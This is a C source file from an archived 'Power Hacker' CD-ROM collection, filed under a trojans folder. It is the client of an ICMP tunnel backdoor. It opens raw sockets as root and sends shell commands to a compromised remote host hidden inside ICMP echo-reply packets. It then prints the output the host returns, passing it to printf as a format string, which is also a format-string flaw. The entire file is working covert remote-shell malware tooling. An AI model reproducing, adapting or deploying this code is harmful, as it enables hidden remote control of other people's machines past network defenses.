home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / trojans / icmp / icmp_client.c next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  3.4 KB  |  179 lines

  1. /* ICMP shell */
  2.  
  3. #include <time.h>
  4. #include <netdb.h>
  5. #include <fcntl.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>
  9. #include <sys/types.h>
  10. #include <netinet/ip.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13. #include <netinet/ip_icmp.h>
  14.  
  15. #define ERROR -1
  16.  
  17. #define LID   12345
  18.  
  19. unsigned int  RID;
  20. unsigned long host, myip;
  21. int state = 0;
  22.  
  23. void send_connect(unsigned long to, unsigned int id,char *data);
  24. void get_string_and_send(void);
  25. void show_shit(char *buf);
  26.  
  27. unsigned long int res(char *p);
  28. u_short  cksum(u_short *buf, int nwords);
  29.  
  30. void main(int argc, char **argv)
  31. {
  32.   fd_set f;
  33.   int i, lsock;
  34.   char   buf[512];
  35.  
  36.   struct iphdr *ip     = (struct iphdr   *)buf;
  37.   struct icmphdr *icmp = (struct icmphdr *)(buf+sizeof(struct iphdr));
  38.  
  39.   if(argc < 3)
  40.     printf("%s <host> <rid>\n",*argv),exit(-1);
  41.  
  42.   if(geteuid() != 0)
  43.     printf("Needs to be run as root\n"),exit(-1);
  44.   
  45.   host  = res(argv[1]);
  46.   RID   = atoi(argv[2]);
  47.   
  48.   if ((lsock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  49.     perror("socket");
  50.     exit(ERROR);
  51.   }
  52.  
  53.   send_connect(host, RID, "a");
  54.   state = 1;
  55.   fcntl(lsock, F_SETFL, O_NONBLOCK);
  56.   fcntl(fileno(stdin), F_SETFL, O_NONBLOCK);
  57.   
  58.   while(1) {
  59.     fflush(stdout);
  60.     fflush(stdin);
  61.  
  62.     FD_ZERO(&f);
  63.     FD_SET(fileno(stdin), &f);
  64.     FD_SET(lsock, &f);
  65.  
  66.     if (select(FD_SETSIZE, &f, NULL, NULL, NULL)) {
  67.        if (FD_ISSET(fileno(stdin),&f))
  68.           get_string_and_send();
  69.  
  70.        if(FD_ISSET(lsock, &f)) {
  71.  
  72.         if ((i = read(lsock, buf, 512)) == ERROR) {
  73.         perror("read");
  74.         close(lsock);
  75.         exit(ERROR);
  76.         }
  77.  
  78.         if (ip->protocol == 1 && icmp->type == 0 && 
  79.             ntohs(icmp->un.echo.id) == LID) {
  80.  
  81.           if (state == 2)
  82.              show_shit(buf);
  83.  
  84.           if (state == 1) {
  85.              state++;
  86.              printf("Connected.\n");
  87.           }
  88.  
  89.           myip =ip->daddr;
  90.         }              
  91.       } 
  92.     }
  93.   }  
  94. }
  95.  
  96. unsigned long int res(char *p)
  97. {
  98.   struct   hostent *h;
  99.   unsigned long int rv;
  100.     
  101.   if ((h = gethostbyname(p)) == NULL) {
  102.     perror("gethostbyname");
  103.     exit(ERROR);
  104.   }
  105.  
  106.   if(h != NULL) memcpy(&rv, h->h_addr, h->h_length);
  107.   else rv = inet_addr(p);
  108.  
  109.   return rv;
  110. }
  111.  
  112. void send_connect(unsigned long to, unsigned int id,char *data)
  113. {
  114.   int i, ssock;
  115.  
  116.   char buf[512];
  117.   char *bla = (buf+sizeof(struct icmphdr));
  118.  
  119.   struct sockaddr_in sa;
  120.   struct icmphdr *icmp = (struct icmphdr *)buf;
  121.   
  122.   if ((ssock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  123.     perror("ssock");
  124.     exit(ERROR);
  125.   }
  126.  
  127.   bzero(buf, 512);
  128.  
  129.   strcpy(bla, data);
  130.  
  131.   icmp->type         = 0;
  132.   icmp->un.echo.id   = htons(id);
  133.   icmp->checksum     = cksum((u_short *)icmp,(9+strlen(data))>>1);
  134.   sa.sin_family      = AF_INET;
  135.   sa.sin_addr.s_addr = to;
  136.  
  137.   if ((i = sendto(ssock, buf, (9+strlen(data)), 0, (struct sockaddr *)&sa,
  138.            sizeof(sa))) == ERROR) {
  139.     perror("sendto");
  140.     close(ssock);
  141.     exit(ERROR);
  142.   }
  143.  
  144.   close(ssock);
  145. }
  146.  
  147. void get_string_and_send(void)
  148. {
  149.   char buf[512];
  150.   bzero(buf, 512);
  151.  
  152.   if ((read(fileno(stdin), buf, 512)) == ERROR) {
  153.     perror("read");
  154.     exit(ERROR);
  155.   }
  156.  
  157.   buf[strlen(buf)-1] = 0;
  158.   send_connect(host, RID, buf);
  159.   if (strcasecmp(buf, "exit") == 0)
  160.     exit(1);
  161. }                    
  162.  
  163. void show_shit(char *buf)
  164. {
  165.   printf((buf+sizeof(struct iphdr)+sizeof(struct icmphdr)));
  166. }
  167.  
  168. u_short cksum(u_short *buf, int nwords) {
  169.         unsigned long sum;
  170.  
  171.         for ( sum = 0; nwords > 0; nwords -- )
  172.                 sum += *buf++;
  173.         sum = ( sum >> 16) + ( sum & 0xffff );
  174.         sum += ( sum >> 16 );
  175.         return ~sum ;
  176. }
  177.  
  178.  
  179.